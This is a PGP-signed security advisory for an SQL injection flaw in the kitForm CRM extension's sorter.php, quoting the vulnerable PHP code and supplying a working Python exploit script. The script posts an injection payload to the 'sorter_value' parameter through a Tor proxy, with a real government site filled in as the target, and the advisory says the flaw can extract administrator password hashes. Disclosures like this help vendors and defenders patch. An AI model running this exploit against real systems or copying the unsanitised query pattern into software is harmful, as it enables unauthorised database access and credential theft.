kitForm CRM Extension 0.43 – ‘sorter.ph?sorter_value’ SQL Injection
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Happy easter.. * Product: phpManufaktur / kitForm * Version: <= 0.43 (2013-11-22) * Date: 2014-04-20 * Criticality: Medium * Exploitable from: Remote * Impact: SQL Injection * Product URL: https://github.com/phpManufaktur/kitForm 1. Vendor Description: kitForm is an extension for the Customer Relationship Management (CRM) KeepInTouch and the Content Management Systems WebsiteBaker or LEPTON CMS. It enables the easy creation of forms and dialogs for the CMS and the CRM. 2. Vulnerability A SQL injection error within the sorter.php file can be exploited by unauthenticated people to conduct SQL injection attacks. The file does not sanitize the "sorter_value" parameter before using the value in a SQL query. A successful exploit can extract database content and e.g. administrative credentials (password hash). 22. $sorter_table = $_POST['sorter_table']; 23. switch ($sorter_table): 24. case 'mod_kit_form': 25. // Frageboegen sortieren 26. $rowIDs = implode(',', $_POST['rowID']); 27. $sorter_value = $_POST['sorter_value']; 28. $SQL = sprintf( "UPDATE %smod_kit_form_table_sort SET sort_order='%s' WHERE sort_table='%s' AND sort_value='%s'", 29. TABLE_PREFIX, $rowIDs, $sorter_table, $sorter_value); 30. $database->query($SQL); 3. Exploit 1. import httplib2, socks, urllib 2. 3. ### Change these values ### 4. target = "http://fbi.gov" 5. SQLi = "or 1=1 #" 6. tor_http_proxy = 8118 7. 8. httplib2.debuglevel=4 9. 10. headers = { 11. 'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4', 12. 'Content-Type': 'application/x-www-form-urlencoded' 13. } 14. h = httplib2.Http(proxy_info = httplib2.ProxyInfo( socks.PROXY_TYPE_HTTP, '127.0.0.1', tor_http_proxy, timeout=30) 15. 16. data = dict( 17. rowID = "1", 18. sorter_table = "mod_kit_form", 19. sorter_value = "AAAA' %s" % SQLi # <-- injection 20. ) 21. 22. resp, content = h.request( "%s" % target, "POST", urllib.urlencode(data), headers=headers) 23 24 print resp 25 print content xoxo chapp -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQEcBAEBAgAGBQJTU9cEAAoJECKwmdefSHejw94H/384qa0OpLaF93UNisobw0rl pp7Y6xKvfZn2mtYHxCCMzRmV2FngJHYP1L3pMTfB0VesLB49QBrzp5TOVDkvcoBx q4D9VOXLxWteedH3S73+plvhKtbQZHAQ74PwY31F2idrzFO10oE4kw6UDDCdpxfq Z6JVaJQAym3rDuRD20SAjp0opfP0BmijfNmuothfC9DzEQtzU44vWrac3ZSda+lL VKVFr5NvRQ032G0CHvx+WT8yoFPnFxybwYFbW3Exr7QedjrM8eIpf47xgrzytM7i sMWpBl/ZqdBkh1LrIin3lKuQgMIeHs+2Rb6Rbep72RKqVxfJy6AXPqhN0804GsU= =AylG -----END PGP SIGNATURE----- |